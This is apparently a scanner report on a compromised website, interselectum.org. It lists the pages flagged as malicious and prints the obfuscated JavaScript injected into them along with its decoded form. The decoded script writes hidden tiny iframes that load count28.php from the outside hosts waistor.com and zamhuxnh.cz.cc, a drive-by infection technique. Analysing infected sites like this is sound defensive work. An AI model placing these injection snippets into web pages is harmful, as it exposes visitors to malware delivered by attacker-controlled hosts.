Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=interselectum.org
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://interselectum.org/ | 200 OK Content-Length: 38672 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=' ...[1219 bytes skipped]... Decoded script: document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://waistor.com/count28.php"></iframe>') document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://waistor.com/count28.php"></iframe>') <iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://waistor.com/count28.php"></iframe> Antivirus reports:
| ||
http://interselectum.org/index.html | 200 OK Content-Length: 38672 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=' ...[1219 bytes skipped]... Decoded script: document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://waistor.com/count28.php"></iframe>') document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://waistor.com/count28.php"></iframe>') <iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://waistor.com/count28.php"></iframe> Antivirus reports:
| ||
http://interselectum.org/visie.html | 200 OK Content-Length: 55749 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=''; ...[1217 bytes skipped]... Decoded script: ...[94549 bytes skipped]... os,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://zamhuxnh.cz.cc/count28.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://zamhuxnh.cz.cc/count28.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); } if (document.getElementsByTag ...[708 bytes skipped]... Antivirus reports:
| ||
http://interselectum.org/inschrijven.html | 200 OK Content-Length: 56360 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=''; ...[1217 bytes skipped]... Decoded script: ...[94549 bytes skipped]... os,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://zamhuxnh.cz.cc/count28.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://zamhuxnh.cz.cc/count28.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); } if (document.getElementsByTag ...[708 bytes skipped]... Antivirus reports:
| ||
http://interselectum.org/contact.html | 200 OK Content-Length: 59052 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=''; ...[1217 bytes skipped]... Decoded script: ...[94549 bytes skipped]... os,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://zamhuxnh.cz.cc/count28.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://zamhuxnh.cz.cc/count28.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); } if (document.getElementsByTag ...[708 bytes skipped]... Antivirus reports:
| ||
http://interselectum.org/test404page.js | 404 Not Found Content-Length: 295 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: interselectum.org
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 18 Dec 2014 23:57:08 GMT
Accept-Ranges: bytes
ETag: "f577d-9710-4b0322c10e240"
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 38672
Content-Type: text/html
Last-Modified: Wed, 26 Oct 2011 11:44:01 GMT
...38672 bytes of data.
GET / HTTP/1.1
Host: interselectum.org
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 18 Dec 2014 23:57:08 GMT
Accept-Ranges: bytes
ETag: "f577d-9710-4b0322c10e240"
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 38672
Content-Type: text/html
Last-Modified: Wed, 26 Oct 2011 11:44:01 GMT
...38672 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: interselectum.org
Referer: http://www.google.com/search?q=interselectum.org
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: interselectum.org
Referer: http://www.google.com/search?q=interselectum.org
Result:
The result is similar to the first query. There are no suspicious redirects found.